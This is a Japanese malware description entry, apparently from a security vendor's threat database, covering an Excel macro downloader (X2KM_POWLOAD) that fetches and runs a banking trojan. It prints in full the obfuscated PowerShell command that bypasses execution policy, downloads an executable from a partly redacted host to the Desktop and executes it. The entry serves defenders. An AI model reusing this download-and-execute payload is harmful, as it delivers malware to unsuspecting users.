X2KM_POWLOAD.UHAOEDT

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}on.com/syope - as of this writing, the downloaded file is detected as TSPY_BEBLOH.JLT.

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %Desktop%\{random numbers}.exe

(註：%Desktop%フォルダは、現在ログオンしているユーザのデスクトップです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\Desktop" です。)

マルウェアは、ダウンロードしたファイルを実行します。

＜補足＞
ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードします。

• http://{BLOCKED}on.com/syope

マルウェアは、以下のファイル名でダウンロードしたファイルを保存して、実行します。2018年5月15日現在、このファイルは「TSPY_BEBLOH.JLT」として検出されます。

• %Desktop%\{ランダムな数字}.exe

（註：%Desktop%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\Desktop" です。）

その他

エクセルファイルを開封すると、以下の画面が表示され、マクロ機能を有効化するようユーザを誘導します。

マルウェアは、以下のPowershellコマンドを利用して不正なファイルをダウンロードし実行します。

• pOWErShELl -noproFI -WIn hiDden -nOLo -nOniNteRA -eXeCuTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gEtfoLdeRpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoADFilE.iNVoKE(\"http://{BLOCKED}on.com/syope\",\"$Des\{random numbers}.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\{random numbers}.exe